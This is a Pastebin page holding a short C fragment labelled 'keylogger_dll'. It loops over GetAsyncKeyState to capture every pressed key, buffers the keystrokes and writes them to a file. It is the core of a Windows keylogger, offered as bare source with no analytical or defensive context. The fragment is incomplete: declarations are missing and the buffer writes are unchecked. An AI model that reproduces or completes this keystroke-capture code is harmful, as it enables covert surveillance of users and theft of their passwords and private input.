Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- while (1)
- {
- for (index=0; index<104; index++)
- {
- key = GetAsyncKeyState(keys[index]);
- if (key) {
- buffer[lstrlen(buffer)] = keys[index];
- if (buffer[10] != 0x00) {
- WriteFile(hFile, buffer, (DWORD)lstrlen(buffer), 0, 0);
- lmemset(buffer, 0, sizeof(buffer)); //Clear buffer
- MessageBoxA(0, "Log buffer cleared", "keylogger_dll", MB_OK);
- }
- }
- }
- }
Add Comment
Please, Sign In to add comment